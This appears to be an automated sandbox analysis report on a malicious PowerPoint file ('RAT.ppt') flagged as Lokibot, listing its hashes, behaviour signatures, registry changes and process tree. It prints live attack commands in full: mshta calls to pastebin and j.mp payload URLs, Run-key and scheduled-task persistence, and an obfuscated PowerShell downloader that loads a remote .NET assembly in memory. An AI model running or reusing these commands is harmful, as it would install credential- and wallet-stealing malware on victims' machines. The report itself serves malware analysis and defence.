RAT.ppt

General
Target

RAT.ppt

Filesize

87KB

Completed

18-08-2020 09:31

Score
10 /10
MD5

996d8c68ecfe98a2ce25c177927a90e0

SHA1

538d30afcc2d003f95c5f82714134957c8957159

SHA256

20b52843f8e11a925f7008ffe96848e846099130c0c23bd80b3f3c6ee726e234

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/aKjCtLDg

Signatures 17

Filter: none

Defense Evasion
Discovery
Persistence
  • Contains code to disable Windows Defender

    Description

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/1448-34-0x0000000002750000-0x0000000002757000-memory.dmpdisable_win_def
  • Lokibot

    Description

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Process spawned unexpected child process
    mshta.exepowershell.exepowershell.exe

    Description

    This typically indicates the parent process was compromised via an exploit or macro.

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process268108mshta.exePOWERPNT.EXE
    Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process14921680powershell.exe
    Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process14481680powershell.exe
  • Blocklisted process makes network request
    mshta.exemshta.exemshta.exepowershell.exepowershell.exe

    Reported IOCs

    flowpidprocess
    5268mshta.exe
    7268mshta.exe
    9268mshta.exe
    11268mshta.exe
    141964mshta.exe
    152032mshta.exe
    161448powershell.exe
    211492powershell.exe
    231492powershell.exe
  • Adds Run key to start application
    mshta.exemshta.exe

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Runmshta.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\sgnittes = "\"mshta\"\"https://%50%50%50%50%50%50%50%50@pastebin.com\\raw\\A1scmntK\""mshta.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"https://%50%50%50%50%50%50%50%50@pastebin.com\\raw\\MceaAVSv\""mshta.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\warfed = "\"mshta\"\"https://%50%50%50%50%50%50%50%50@pastebin.com\\raw\\CkLFEYsw\""mshta.exe
    Key created\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Runmshta.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\koaskd = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).Fucku)|IEX\"\", 0 : window.close\")"mshta.exe
  • Legitimate hosting services abused for malware hosting/C2

    TTPs

    Web Service
  • Drops file in System32 directory
    powershell.exepowershell.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnkpowershell.exe
    File opened for modificationC:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnkpowershell.exe
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Creates scheduled task(s)
    schtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    1184schtasks.exe
  • Modifies Internet Explorer settings
    mshta.exemshta.exemshta.exe

    TTPs

    Modify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Mainmshta.exe
    Key created\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Mainmshta.exe
    Key created\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Mainmshta.exe
  • Modifies registry class
    POWERPNT.EXE

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ = "ThreeDFormat"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ = "Designs"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A62-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\ = "ActionSetting"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Interior"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A74-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\ = "RulerLevels"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493487-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\ = "NamedSlideShow"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\ = "Research"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493495-5A91-11CF-8700-00AA0060263B}POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493461-5A91-11CF-8700-00AA0060263B}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}POWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\TypeLibPOWERPNT.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F}\TypeLibPOWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"POWERPNT.EXE
  • Modifies system certificate store
    mshta.exe

    TTPs

    Install Root CertificateModify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25mshta.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4amshta.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4amshta.exe
  • Suspicious behavior: AddClipboardFormatListener
    POWERPNT.EXE

    Reported IOCs

    pidprocess
    108POWERPNT.EXE
  • Suspicious behavior: EnumeratesProcesses
    powershell.exepowershell.exe

    Reported IOCs

    pidprocess
    1492powershell.exe
    1448powershell.exe
    1492powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
    1448powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exepowershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege1492powershell.exe
    Token: SeDebugPrivilege1448powershell.exe
    Token: SeIncreaseQuotaPrivilege1492powershell.exe
    Token: SeSecurityPrivilege1492powershell.exe
    Token: SeTakeOwnershipPrivilege1492powershell.exe
    Token: SeLoadDriverPrivilege1492powershell.exe
    Token: SeSystemProfilePrivilege1492powershell.exe
    Token: SeSystemtimePrivilege1492powershell.exe
    Token: SeProfSingleProcessPrivilege1492powershell.exe
    Token: SeIncBasePriorityPrivilege1492powershell.exe
    Token: SeCreatePagefilePrivilege1492powershell.exe
    Token: SeBackupPrivilege1492powershell.exe
    Token: SeRestorePrivilege1492powershell.exe
    Token: SeShutdownPrivilege1492powershell.exe
    Token: SeDebugPrivilege1492powershell.exe
    Token: SeSystemEnvironmentPrivilege1492powershell.exe
    Token: SeRemoteShutdownPrivilege1492powershell.exe
    Token: SeUndockPrivilege1492powershell.exe
    Token: SeManageVolumePrivilege1492powershell.exe
    Token: 331492powershell.exe
    Token: 341492powershell.exe
    Token: 351492powershell.exe
    Token: SeIncreaseQuotaPrivilege1492powershell.exe
    Token: SeSecurityPrivilege1492powershell.exe
    Token: SeTakeOwnershipPrivilege1492powershell.exe
    Token: SeLoadDriverPrivilege1492powershell.exe
    Token: SeSystemProfilePrivilege1492powershell.exe
    Token: SeSystemtimePrivilege1492powershell.exe
    Token: SeProfSingleProcessPrivilege1492powershell.exe
    Token: SeIncBasePriorityPrivilege1492powershell.exe
    Token: SeCreatePagefilePrivilege1492powershell.exe
    Token: SeBackupPrivilege1492powershell.exe
    Token: SeRestorePrivilege1492powershell.exe
    Token: SeShutdownPrivilege1492powershell.exe
    Token: SeDebugPrivilege1492powershell.exe
    Token: SeSystemEnvironmentPrivilege1492powershell.exe
    Token: SeRemoteShutdownPrivilege1492powershell.exe
    Token: SeUndockPrivilege1492powershell.exe
    Token: SeManageVolumePrivilege1492powershell.exe
    Token: 331492powershell.exe
    Token: 341492powershell.exe
    Token: 351492powershell.exe
  • Suspicious use of SetWindowsHookEx
    powershell.exe

    Reported IOCs

    pidprocess
    1448powershell.exe
    1448powershell.exe
  • Suspicious use of WriteProcessMemory
    POWERPNT.EXEmshta.exepowershell.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 108 wrote to memory of 268108POWERPNT.EXEmshta.exe
    PID 108 wrote to memory of 268108POWERPNT.EXEmshta.exe
    PID 108 wrote to memory of 268108POWERPNT.EXEmshta.exe
    PID 268 wrote to memory of 1964268mshta.exemshta.exe
    PID 268 wrote to memory of 1964268mshta.exemshta.exe
    PID 268 wrote to memory of 1964268mshta.exemshta.exe
    PID 268 wrote to memory of 1184268mshta.exeschtasks.exe
    PID 268 wrote to memory of 1184268mshta.exeschtasks.exe
    PID 268 wrote to memory of 1184268mshta.exeschtasks.exe
    PID 268 wrote to memory of 2032268mshta.exemshta.exe
    PID 268 wrote to memory of 2032268mshta.exemshta.exe
    PID 268 wrote to memory of 2032268mshta.exemshta.exe
    PID 1448 wrote to memory of 3241448powershell.execmstp.exe
    PID 1448 wrote to memory of 3241448powershell.execmstp.exe
    PID 1448 wrote to memory of 3241448powershell.execmstp.exe
Processes 8
  • C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RAT.ppt"
    Modifies registry class
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of WriteProcessMemory
    PID:108
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://%909123id%909123id%909123id%909123id%909123id@j.mp\kkkasriiiiii2rkoodd
      Process spawned unexpected child process
      Blocklisted process makes network request
      Adds Run key to start application
      Modifies Internet Explorer settings
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:268
      • C:\Windows\System32\mshta.exe
        mshta https://%50%50%50%50%50%50%50%50@pastebin.com\raw\1Kps24Kt
        Blocklisted process makes network request
        Adds Run key to start application
        Modifies Internet Explorer settings
        PID:1964
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 70 /tn "xestuohtiwfyl" /F /tr "\"mshta\"https://%20%20@pastebin.com\raw\1Kps24Kt
        Creates scheduled task(s)
        PID:1184
      • C:\Windows\System32\mshta.exe
        mshta https://%50%50%50%50%50%50%50%50@pastebin.com\raw\CkLFEYsw
        Blocklisted process makes network request
        Modifies Internet Explorer settings
        PID:2032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell ((gp HKCU:\Software).Fucku)|IEX
    Process spawned unexpected child process
    Blocklisted process makes network request
    Drops file in System32 directory
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    PID:1492
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/aKjCtLDg'));$_Xpin=$_Xpin.replace('.','*!(@*#(!@#*').replace('*!(@*#(!@#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)
